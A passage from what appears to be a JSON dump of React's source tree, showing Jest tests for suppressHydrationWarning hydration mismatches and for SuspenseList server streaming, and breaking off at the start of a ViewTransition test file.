suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            <span>Shared</span>\n            {isClient ? 'Client' : null}\n          </span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          <span>Shared</span>\n        </span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          <span>Shared</span>\n          {'Client'}\n        </span>\n      </div>,\n    );\n  });\n\n  it('errors on server-only extra text node mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            <span>Shared</span>\n            {isClient ? null : 'Server'}\n          </span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          <span>Shared</span>Server\n        </span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          <span>Shared</span>\n        </span>\n      </div>,\n    );\n  });\n\n  it('errors on element-to-text mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            Hello, {isClient ? 'Client' : <span>Server</span>}!\n          </span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          Hello, <span>Server</span>!\n        </span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          {'Hello, '}\n          {'Client'}\n          {'!'}\n        </span>\n      </div>,\n    );\n  });\n\n  it('suppresses but does not fix attribute mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span\n            suppressHydrationWarning={true}\n            className={isClient ? 'client' : 'server'}\n            style={{opacity: isClient ? 1 : 0}}\n            data-serveronly={isClient ? null : 'server-only'}\n            data-clientonly={isClient ? 'client-only' : null}\n          />\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span class=\"server\" style=\"opacity:0\" data-serveronly=\"server-only\" />\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span class=\"server\" style=\"opacity:0\" data-serveronly=\"server-only\" />\n      </div>,\n    );\n  });\n\n  it('suppresses and does not fix html mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <p\n            suppressHydrationWarning={true}\n            dangerouslySetInnerHTML={{\n              __html: isClient ? 'Client HTML' : 'Server HTML',\n            }}\n          />\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Server HTML</p>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Server HTML</p>\n      </div>,\n    );\n  });\n\n  it('errors on insertions with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div suppressHydrationWarning={true}>\n          <p>Client and server</p>\n          {isClient && <p>Client only</p>}\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Client and server</p>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Client and server</p>\n        <p>Client only</p>\n      </div>,\n    );\n  });\n\n  it('errors on deletions with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div suppressHydrationWarning={true}>\n          <p>Client and server</p>\n          {!isClient && <p>Server only</p>}\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Client and server</p>\n        <p>Server only</p>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Client and server</p>\n      </div>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzSuspenseList-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\nimport {\n  insertNodesAndExecuteScripts,\n  getVisibleChildren,\n} from '../test-utils/FizzTestUtils';\n\nlet JSDOM;\nlet React;\nlet Suspense;\nlet SuspenseList;\nlet assertLog;\nlet Scheduler;\nlet ReactDOMFizzServer;\nlet Stream;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet hasCompleted = false;\nlet fatalError = undefined;\n\ndescribe('ReactDOMFizzSuspenseList', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    React = require('react');\n    assertLog = require('internal-test-utils').assertLog;\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n\n    Suspense = React.Suspense;\n    SuspenseList = React.unstable_SuspenseList;\n\n    Scheduler = require('scheduler');\n\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n    global.window = jsdom.window;\n    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.\n    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>\n      setTimeout(cb);\n\n    buffer = '';\n    hasErrored = false;\n    hasCompleted = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n    writable.on('finish', () => {\n      hasCompleted = true;\n    });\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  async function serverAct(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    const bufferedContent = buffer;\n    buffer = '';\n    const temp = document.createElement('body');\n    temp.innerHTML = bufferedContent;\n    await insertNodesAndExecuteScripts(temp, container, null);\n    jest.runAllTimers();\n  }\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span>{props.text}</span>;\n  }\n\n  function createAsyncText(text) {\n    let resolved = false;\n    let error = undefined;\n    const Component = function () {\n      if (error !== undefined) {\n        Scheduler.log('Error! [' + error.message + ']');\n        throw error;\n      }\n      if (!resolved) {\n        Scheduler.log('Suspend! [' + text + ']');\n        throw promise;\n      }\n      return <Text text={text} />;\n    };\n    const promise = new Promise(resolve => {\n      Component.resolve = function () {\n        resolved = true;\n        return resolve();\n      };\n      Component.reject = function (e) {\n        error = e;\n        return resolve();\n      };\n    });\n    return Component;\n  }\n\n  // @gate enableSuspenseList\n  it('shows content forwards by default', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList>\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await C.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,\n      'C',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => A.resolve());\n    assertLog(['A']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('independently with revealOrder=\"independent\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"independent\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog(['A', 'Suspend! [B]', 'Suspend! [C]', 'Loading B', 'Loading C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'A',\n      'Suspend! [B]',\n      'Suspend! [C]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" in a single pass', async () => {\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <Text text=\"A\" />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <Text text=\"B\" />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <Text text=\"C\" />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n    pipe(writable);\n    await 0;\n    const bufferedContent = buffer;\n    buffer = '';\n\n    assertLog(['A', 'B', 'C', 'Loading A', 'Loading B', 'Loading C']);\n\n    expect(bufferedContent).toMatchInlineSnapshot(\n      `\"<div><!--$--><span>A</span><!--/$--><!--$--><span>B</span><!--/$--><!--$--><span>C</span><!--/$--></div>\"`,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" even when nested as siblings', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"together\">\n            <div>\n              <Suspense fallback={<Text text=\"Loading A\" />}>\n                <A />\n              </Suspense>\n              <Suspense fallback={<Text text=\"Loading B\" />}>\n                <B />\n              </Suspense>\n            </div>\n            <div>\n              <Suspense fallback={<Text text=\"Loading C\" />}>\n                <C />\n              </Suspense>\n            </div>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'A',\n      'Suspend! [B]',\n      'Suspend! [C]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>\n          <span>Loading A</span>\n          <span>Loading B</span>\n        </div>\n        <div>\n          <span>Loading C</span>\n        </div>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>\n          <span>Loading A</span>\n          <span>Loading B</span>\n        </div>\n        <div>\n          <span>Loading C</span>\n        </div>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>\n          <span>A</span>\n          <span>B</span>\n        </div>\n        <div>\n          <span>C</span>\n        </div>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" in nested SuspenseLists', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <SuspenseList revealOrder=\"together\">\n              <Suspense fallback={<Text text=\"Loading B\" />}>\n                <B />\n              </Suspense>\n              <Suspense fallback={<Text text=\"Loading C\" />}>\n                <C />\n              </Suspense>\n            </SuspenseList>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n    await B.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" in nested SuspenseLists where the inner is \"independent\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <SuspenseList revealOrder=\"independent\">\n              <Suspense fallback={<Text text=\"Loading B\" />}>\n                <B />\n              </Suspense>\n              <Suspense fallback={<Text text=\"Loading C\" />}>\n                <C />\n              </Suspense>\n            </SuspenseList>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n    await B.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays each items in \"forwards\" order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await C.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,\n      'C',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => A.resolve());\n    assertLog(['A']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays each items in \"backwards\" mount order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"backwards\" tail=\"visible\">\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'Suspend! [C]',\n      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,\n      'A',\n      'Loading C',\n      'Loading B',\n      'Loading A',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays each items in \"backwards\" order in legacy mode', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"visible\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await A.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'Suspend! [C]',\n      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,\n      'A',\n      'Loading C',\n      'Loading B',\n      'Loading A',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => C.resolve());\n    assertLog(['C']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('waits for a nested SuspenseList to complete before resolving \"forwards\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <SuspenseList revealOrder=\"backwards\" tail=\"visible\">\n              <Suspense fallback={<Text text=\"Loading B\" />}>\n                <B />\n              </Suspense>\n              <Suspense fallback={<Text text=\"Loading A\" />}>\n                <A />\n              </Suspense>\n            </SuspenseList>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    await C.resolve();\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    assertLog([\n      'Suspend! [B]',\n      'Suspend! [A]',\n      'C',\n      'Loading B',\n      'Loading A',\n      'Loading C',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => A.resolve());\n    assertLog(['A']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </div>,\n    );\n\n    await serverAct(() => B.resolve());\n    assertLog(['B']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('can abort a pending SuspenseList', async () => {\n    const A = createAsyncText('A');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <Text text=\"B\" />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    const errors = [];\n    let abortStream;\n    await serverAct(async () => {\n      const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(<Foo />, {\n        onError(error) {\n          errors.push(error.message);\n        },\n      });\n      pipe(writable);\n      abortStream = abort;\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      'B', // TODO: Defer rendering the content after fallback if previous suspended,\n      'Loading A',\n      'Loading B',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n      </div>,\n    );\n\n    await serverAct(() => {\n      abortStream();\n    });\n\n    expect(hasCompleted).toBe(true);\n    expect(errors).toEqual([\n      'The render was aborted by the server without a reason.',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('can error a pending SuspenseList', async () => {\n    const A = createAsyncText('A');\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <Text text=\"B\" />\n            </Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    const errors = [];\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />, {\n        onError(error) {\n          errors.push(error.message);\n        },\n      });\n      pipe(writable);\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      'B', // TODO: Defer rendering the content after fallback if previous suspended,\n      'Loading A',\n      'Loading B',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>Loading B</span>\n      </div>,\n    );\n\n    await serverAct(async () => {\n      A.reject(new Error('hi'));\n    });\n\n    assertLog(['Error! [hi]']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Loading A</span>\n        <span>B</span>\n      </div>,\n    );\n\n    expect(errors).toEqual(['hi']);\n    expect(hasErrored).toBe(false);\n    expect(hasCompleted).toBe(true);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzViewTransition-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\nimport {\n  insertNodesAndExecuteScripts,\n  getVisibleChildren,\n} from '../test-utils/FizzTestUtils';\n\nlet JSDOM;\nlet React;\nlet Suspense;\nlet ViewTransition;\nlet ReactDOMClient;\nlet clientAct;\nlet ReactDOMFizzServer;\nlet Stream;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\n\ndescribe('ReactDOMFizzViewTransition', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    clientAct = require('internal-test-utils').act;\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n\n    Suspense = React.Suspense;\n    ViewTransition = React.ViewTransition;\n\n    // Test Environment\n    const 